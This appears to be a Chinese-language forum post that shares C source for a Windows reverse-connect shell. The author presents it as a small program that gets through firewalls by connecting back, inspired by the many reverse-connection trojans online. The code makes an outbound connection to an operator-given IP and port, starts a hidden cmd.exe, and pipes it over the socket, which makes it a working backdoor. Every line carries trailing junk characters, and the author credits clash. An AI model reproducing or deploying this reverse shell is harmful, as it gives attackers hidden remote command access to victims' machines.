这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 czd~8WgOa
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/* ============================== Z?QC!bWb
Rebound port in Windows NT ^y%T~dLkp'
By wind,2006/7 +srGN5!
===============================*/ V~5jfcd
#include 8X|-rM{
#include |
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#pragma comment(lib,"wsock32.lib") [q #\D
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void OutputShell(); /t"3!Z?BOv
SOCKET sClient; <e</m)j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^DwYOo 2B
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void main(int argc,char **argv) s-T\r"d=j
{ R*2E/8Ia
WSADATA stWsaData; "LTad`]<Ro
int nRet; 0KOgw*>_
SOCKADDR_IN stSaiClient,stSaiServer; `+Q%oj#FF
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if(argc != 3) 9zy!Fq
{ YcpoL@ab
printf("Useage:\n\rRebound DestIP DestPort\n"); >I&5j/&}+
return; W9GVt$T7
} |8tilOqI
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WSAStartup(MAKEWORD(2,2),&stWsaData); N[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5]Y?m'
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stSaiClient.sin_family = AF_INET; V[Ui/M!9Z
stSaiClient.sin_port = htons(0); Ej8^Zg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VS8Rx.?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wEvVL
{ YglmX"fLf
printf("Bind Socket Failed!\n"); :^B1~p(?sK
return; !."D]i;
} <l E<f+
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stSaiServer.sin_family = AF_INET; n]o<S+z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N U`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'kO!^6=4M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H]Z$OpI
{ fHd#u%63K
printf("Connect Error!"); 57']#j#"hj
return; g&Vx:fOC
} z/@slT
OutputShell(); <k'h:KB?`
} Uf;^%*P4
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void OutputShell() =R$u[~Xl2X
{ )W
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char szBuff[1024]; ^ Q ?
SECURITY_ATTRIBUTES stSecurityAttributes; nazZ*lC
OSVERSIONINFO stOsversionInfo; DAr1C+Dy
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kzUIZ/+ZL,
STARTUPINFO stStartupInfo; mLLDE;7|}
char *szShell; p}pjfG
PROCESS_INFORMATION stProcessInformation; v\%HPMlh
unsigned long lBytesRead; 9w"4K.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Pw`8Wj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ytJ/g/,A0i
stSecurityAttributes.lpSecurityDescriptor = 0; (m(JK^
stSecurityAttributes.bInheritHandle = TRUE; u.m[u)HQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O"+gQXe
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ex.yU{|c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !K#qe Y}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]HbY
stStartupInfo.wShowWindow = SW_HIDE; #]-SJWf3
stStartupInfo.hStdInput = hReadPipe; b3P+H r
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +Z,;,5'5G
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GetVersionEx(&stOsversionInfo); b;L\EB
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switch(stOsversionInfo.dwPlatformId) M.JA.I@XC
{ .w:DFk^E]b
case 1: l&[O
szShell = "command.com"; C;v.S5x
break; \a<wKTkn
default: U%-A?5
szShell = "cmd.exe"; [=C6U_vU
break; r[e##M
} m1b?J3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k``_EiV4t
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send(sClient,szMsg,77,0); HH`'*$]7
while(1) 'z8pzMmT
{ 2'l'8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K&u_R
if(lBytesRead) C-xr"]#]
{ aNsBcov3O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -au^;CM
send(sClient,szBuff,lBytesRead,0); UJUEYG
} 4>YR{
else Fk7?xc
{ 0J*??g-n
lBytesRead=recv(sClient,szBuff,1024,0); 'JtBZFq
if(lBytesRead<=0) break; `K"L /I9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u$z`
} qfF~D0}
} &/Z
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return; 7jrt7[{
}